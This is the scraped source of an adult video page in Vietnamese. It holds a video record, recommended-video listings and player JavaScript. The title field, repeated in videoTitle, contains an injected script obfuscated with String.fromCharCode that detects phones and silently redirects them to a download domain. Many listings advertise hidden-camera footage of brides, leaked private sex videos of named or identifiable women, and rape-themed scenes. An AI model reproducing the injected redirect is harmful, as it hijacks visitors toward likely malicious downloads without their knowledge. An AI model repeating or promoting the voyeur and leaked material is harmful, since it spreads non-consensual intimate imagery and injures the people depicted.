</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Thông tin rò rỉ mới nhất năm 2023.9: Cửa hàng váy cưới nổi tiếng bí mật lắp đặt camera giám sát; Váy cưới của cô dâu trở thành đặc quyền cho nhân viên; Ba cô dâu thay váy cưới cùng lúc, trong đó có một phụ nữ mang thai.</title></script></script>
Thông tin rò rỉ mới nhất năm 2023.9: Cửa hàng váy cưới nổi tiếng bí mật lắp đặt camera giám sát; Váy cưới của cô dâu trở thành đặc quyền cho nhân viên; Ba cô dâu thay váy cưới cùng lúc, trong đó có một phụ nữ mang thai.","site_id":0,"video_url":"https://2605.v155p.com/20260611/M8YKKguK/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiNzYyNjM5NzljZWIxMWM0NGEzNzM2YWY1NmJkMzEuanBn.cache","duration":"01:16:14","actor":[],"lastmod":1783766805,"rating":"3.0","view_count":439,"description":"Một báo cáo bị rò rỉ từ tháng 9 năm 2023 tiết lộ rằng một cửa hàng áo cưới nổi tiếng đã bí mật lắp đặt camera giám sát để quay phim lén lút các cô dâu thay váy. Lần đầu tiên, các camera đã ghi lại được cảnh các cô dâu thay váy cùng lúc, bao gồm cả một phụ nữ đang mang thai.","tag":["cập nhật","Thông tin rò rỉ mới nhất","Hở","nổi tiếng","váy cưới","Cửa hàng váy cưới","màn hình","cô dâu","Đầu tiên","Đầu tiên","một lần","Nhân viên bán hàng","Phúc lợi","Quay phim lén lút","đồng thời","Phụ nữ mang thai"],"site_url":"175715","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["网爆黑料"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiNzYyNjM5NzljZWIxMWM0NGEzNzM2YWY1NmJkMzEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"2023.9最新泄密知名婚纱店偷安监控新娘婚纱第一次成了店员福利偷拍三位新娘同时换婚纱还有个孕妇","s_keywords":"2023.9最新泄密知名婚纱店偷安监控新娘婚纱第一次成了店员福利偷拍三位新娘同时换婚纱还有个孕妇","s_description":"Thông tin rò rỉ mới nhất năm 2023.9: Cửa hàng váy cưới nổi tiếng bí mật lắp đặt camera giám sát; Váy cưới của cô dâu trở thành đặc quyền cho nhân viên; Ba cô dâu thay váy cưới cùng lúc, trong đó có một phụ nữ mang thai.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzE2MTdiNGI4NzU5Y2IyZmQxYTlhNzQ0ZjJlM2E5N2IuanBn.cache","vod_id":18935863,"title":"Một video bị rò rỉ gần đây cho thấy một cô gái sinh năm 1997 ở Taizhou, Chiết Giang, đang cầm thẻ căn cước và thực hiện hành vi tình dục trong nhà vệ sinh. Cô ấy khá xinh xắn, hơi mũm mĩm, nhưng dường như không tăng cân ở vòng một.","lastmod":"2025-12-14","duration":"00:05:18","url":"/play/18935863.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjYyZWNjOTg5MzllNGJmYTU0NTRlNWMyOWQ2MzJlNmEuanBn.cache","vod_id":18955535,"title":"\"Bản rò rỉ mới nhất ⚡ Chuyên gia hẹn hò\" - Đối thoại tục tĩu ~ Một chàng trai trẻ láu cá để lộ mặt và cưỡng hiếp dã man hai cô gái lẳng lơ với những tiếng rên rỉ khác nhau ~ Cô gái đầu tiên có \"cô bé\" nhỏ nhắn tuyệt vời, cô gái thứ hai có thân hình và vòng một tuyệt đẹp.","lastmod":"2025-03-22","duration":"00:21:02","url":"/play/18955535.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTY3MjI1ZjU1MjIwZWQ5YTJlZTc5Nzk0NTY4NzAzYjcuanBn.cache","vod_id":18979790,"title":"Những người đẹp hàng đầu trong ngành công nghiệp phim người lớn đã bước chân vào lĩnh vực này! 3 giờ đồng hồ sex nồng nhiệt! Góc quay đặc biệt về sự thâm nhập mãnh liệt vào âm đạo, tư thế cưỡi ngựa cho màn quan hệ hậu môn cuồng nhiệt, góc nhìn người thứ nhất kiểu doggy style, âm đạo của cô ấy ướt đẫm!","lastmod":"2025-12-14","duration":"02:59:50","url":"/play/18979790.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzNlZWUyY2JkZjA1NGM4ZTRlZDA3ODlkNWIyNGJmZTguanBn.cache","vod_id":19009685,"title":"JUL069 Một nữ giáo viên mới đã thu hút sự chú ý của các nam sinh bằng tiết học giáo dục giới tính đầu tiên của mình. Ayane Haruka.","lastmod":"2025-03-24","duration":"02:24:30","url":"/play/19009685.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWVlODYzNjY5M2JhNzQ2ZWE3MDExYzEyNGNmMDUxMGMuanBn.cache","vod_id":19156755,"title":"Không thể thốt ra lời \"dừng lại\", nữ sinh viên đại học không thể quên cảm giác bị xâm hại lần đầu tiên và trở thành tù nhân của tên biến thái trên tàu... Murakami Yuka, Murakami Yuka S1 NO.1 STYLE","lastmod":"2026-05-06","duration":"02:58:10","url":"/play/19156755.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzk1Nzg2NzZjODFkYmM3Zjc0Zjk5OTAwMjcyNjkzZTIuanBn.cache","vod_id":19023400,"title":"IPIT040C \"Đây là lần đầu tiên tôi cảm thấy như thế này...\" Cảm giác khoái lạc ban đầu khiến bạn như đang bay. Chương trình khám phá tài năng \"Theo đuổi điểm G trong tình dục\".","lastmod":"2025-03-24","duration":"02:02:23","url":"/play/19023400.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDkzMGRmYTQzNzMzODNjNDg3OWQ5NTNjZWJlYzg2ZDcuanBn.cache","vod_id":18992335,"title":"Tinh thần làm việc của DASD-561 rất đáng quý. Mô tả ngắn gọn về nữ nhân viên bán hàng: Ling, 22 tuổi.","lastmod":"2025-12-14","duration":"02:39:21","url":"/play/18992335.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmM1Njk5MDc5YmUxNDExZjMyOTk2ZDliNDJkZmM0MTQuanBn.cache","vod_id":18965859,"title":"\"Quả bom gợi cảm hàng đầu\" Nữ thần tiết lộ bí mật tối thượng! Ngôi sao mạng với 270.000 người theo dõi, Cô nàng nhỏ của Hao Ge, Người đẹp chín đầu Siro, Buổi chụp ảnh riêng tư, Tròn trịa và quyến rũ, 3P 4P, Năng lượng cao xuyên suốt không có điểm say xỉn (4)","lastmod":"2025-12-14","duration":"00:06:40","url":"/play/18965859.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTUyYmVkMzUxOTFkODE2Y2JjZWY0NTViZTY4N2ExZDUuanBn.cache","vod_id":18935264,"title":"FC2PPV-807088 Đây là lần đầu tiên tôi quay phim ♥ Quan hệ tình dục thật sự dưới bộ đồng phục ♥ Tôi đã bật khóc khi lần đầu tiên bị xâm nhập!","lastmod":"2025-12-14","duration":"00:37:00","url":"/play/18935264.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTQvMjQwOWE4M2E4NWVlNDg4NjNmZTQ5YmUwYzk3ZmU0YTQuanBn.cache","vod_id":19062524,"title":"Sau khi vợ tôi qua đời, tôi quyết định liên tục xuất tinh vào người con dâu yêu quý của mình trong những ngày nguy hiểm đó, và nâng cô ấy lên vị trí của vợ tôi. (Ono Rikka MIDV_871)","lastmod":"2025-12-14","duration":"02:01:40","url":"/play/19062524.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjcvN2ZjNjVmOGVkMzA5MTRiNjRjMTE5OGE5Njg1Yzk4YTguanBn.cache","vod_id":19035321,"title":"HMN401 Cô ta trông có vẻ ngây thơ... nhưng thực chất lại là một con điếm!! Nhưng tôi vẫn không thể cưỡng lại được khoái cảm của một dương vật trần trụi, và cuối cùng tôi cũng đã có lần đầu tiên được một dương vật trần trụi ở bên trong mình.","lastmod":"2025-05-27","duration":"01:58:08","url":"/play/19035321.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjlkYzYzNzI2Mjg1MGZhNGIxMTYyN2ZmZDE5NGJlYTIuanBn.cache","vod_id":18962964,"title":"✿Cảnh Quay Lén✿ Huyền thoại \"Cảnh Quay Lén\" - Tiểu Ma Sói, một phụ nữ trưởng thành hàng đầu, đã quan hệ với cô ấy. Những tiếng rên rỉ tưởng chừng như ngây thơ của cô ấy lại vô cùng kích thích, khiến anh ta không thể cưỡng lại và xuất tinh sớm.","lastmod":"2025-12-14","duration":"00:22:32","url":"/play/18962964.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTcvNmM3NWI4Y2Q1YmE4ZTFkZTcyZTRiYjYwNDkxNWNmYjUuanBn.cache","vod_id":19053140,"title":"[Thông tin rò rỉ mới nhất] Nữ thần mạng 19 tuổi hợp pháp, sở hữu khuôn mặt xinh đẹp và vòng một đầy đặn.","lastmod":"2025-09-16","duration":"01:24:51","url":"/play/19053140.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTY0NDc3NzdlODVmYzNiZjQwY2Q5MzA3YWZlYzUyZmUuanBn.cache","vod_id":18997302,"title":"Tuyển tập đặc biệt gồm 4 cảnh ghi lại khoảnh khắc cực khoái đầu tiên của những cô gái ngực khủng cỡ H - Sasaki An","lastmod":"2025-12-14","duration":"02:29:35","url":"/play/18997302.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTI5Yjc0ZTM3ZWRjN2Q0M2MwMzU3NDhlMzcxOGVlMWUuanBn.cache","vod_id":18961537,"title":"\"Rò rỉ ổ cứng đám mây chất lượng cao\" - Lộ mặt là chìa khóa! Một nữ sinh năm 2003 với ngoại hình bình thường, nhưng cô ấy luôn hướng đến sự \"trẻ trung, ngoan ngoãn và chân thật.\" Cô ấy đã quan hệ tình dục với bạn trai trong khách sạn, và họ đã quan hệ tình dục bằng miệng hai lần. Thật tuyệt vời (4)","lastmod":"2025-03-22","duration":"00:02:15","url":"/play/18961537.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjM4ZmZmYTg1Y2QxMzEyMDQ2OTMzMmY5M2VkMzcwYjkuanBn.cache","vod_id":19024283,"title":"Ảnh học trò của nữ thần thể hình Hàng Châu [Gao Yichen] bị rò rỉ! Nụ cười ngọt ngào và những cuộc trò chuyện thú vị! Vóc dáng hoàn hảo và vẻ ngoài quyến rũ!","lastmod":"2025-03-24","duration":"09:13","url":"/play/19024283.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWVkNjNlMzBhNjIxMjE2MzM2MzhiYTFhMTU4ZDNkZjguanBn.cache","vod_id":18947367,"title":"Người thích phô trương thân thể ngoài trời mới nhất của FSS, 'Feng Shanshan', đã hoàn thành một nhiệm vụ mới - một video khỏa thân toàn thân đầy kịch tính và hấp dẫn bên trong nhà vệ sinh nam với chất lượng hình ảnh gốc 1080P độ phân giải cao.","lastmod":"2025-12-14","duration":"00:11:51","url":"/play/18947367.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvM2NiNWY5ZTQxZWVjYWM0ZTQ0MzE0YTgxYmM4MGI2OTIuanBn.cache","vod_id":19067197,"title":"Những bức ảnh rò rỉ mới nhất của MJ cho thấy anh ấy đang cùng ba người hâm mộ nữ khác thể hiện sự ngưỡng mộ.","lastmod":"2025-12-14","duration":"01:36:26","url":"/play/19067197.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWYzODk1NGQ3ODJjNGVjNzNlMGYzM2IyNDk2NWJjMDQuanBn.cache","vod_id":19023480,"title":"IPX289 chỉ xuất hiện lần này. Một nữ sinh viên nha khoa đến từ một trường đại học danh tiếng đang ra mắt trong lĩnh vực phim người lớn. (Kế hoạch khám phá thiên tài tình dục)","lastmod":"2025-03-24","duration":"20:05","url":"/play/19023480.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvMTY5ODcxODUyOTc0MTc4NDM5ZDVjNGU4MjM4MmVlNmIuanBn.cache","vod_id":19064878,"title":"DDP đầu tiên của cô ấy","lastmod":"2025-12-14","duration":"09:31","url":"/play/19064878.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWE1YTAwZGZkYmVkMGUwZDk2Y2ZmYjBkNjE2ZDYwM2EuanBn.cache","vod_id":19007365,"title":"[Tiếng Trung] Mỗi khi ánh mắt họ chạm nhau, họ lại hôn nhau. Một cuộc sống chung đầy đam mê, phi lý với cô bạn gái từ câu lạc bộ thể thao vừa trở về sau đợt huấn luyện.","lastmod":"2025-03-24","duration":"02:03:59","url":"/play/19007365.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmI5M2JkM2MyYWI5YzZiYjE4OGEyZGFlYTdmZTNiOWIuanBn.cache","vod_id":19149812,"title":"Tính cách trái ngược của cặp đôi hé lộ những bí mật: một bộ trang phục gợi cảm lấy cảm hứng từ bò sữa cho một cuộc ái ân hoang dã và mãnh liệt.","lastmod":"2026-03-23","duration":"06:01","url":"/play/19149812.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTMyNzU3NzhhMmY1ODAxNDFhMmRkMTUxZDgzOWNkYWYuanBn.cache","vod_id":19009806,"title":"KRU072CN Bài đăng NTR nghiệp dư: Gã đàn ông đã cướp bạn gái của bạn thân mình! Hãy chụp ảnh và đăng lên nhé!","lastmod":"2025-03-24","duration":"03:49:13","url":"/play/19009806.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTcvZjY4OTMzNzIzMTUyYTc4NDJjZGQ4ZTAyY2RmOWJiZWQuanBn.cache","vod_id":19047529,"title":"[Về người nổi tiếng trên mạng] Video tự sướng của Nina, một phụ nữ trưởng thành quyến rũ hàng đầu, bị rò rỉ.","lastmod":"2025-08-16","duration":"34:30","url":"/play/19047529.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Thông tin rò rỉ mới nhất năm 2023.9: Cửa hàng váy cưới nổi tiếng bí mật lắp đặt camera giám sát; Váy cưới của cô dâu trở thành đặc quyền cho nhân viên; Ba cô dâu thay váy cưới cùng lúc, trong đó có một phụ nữ mang thai.</title></script></script>',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}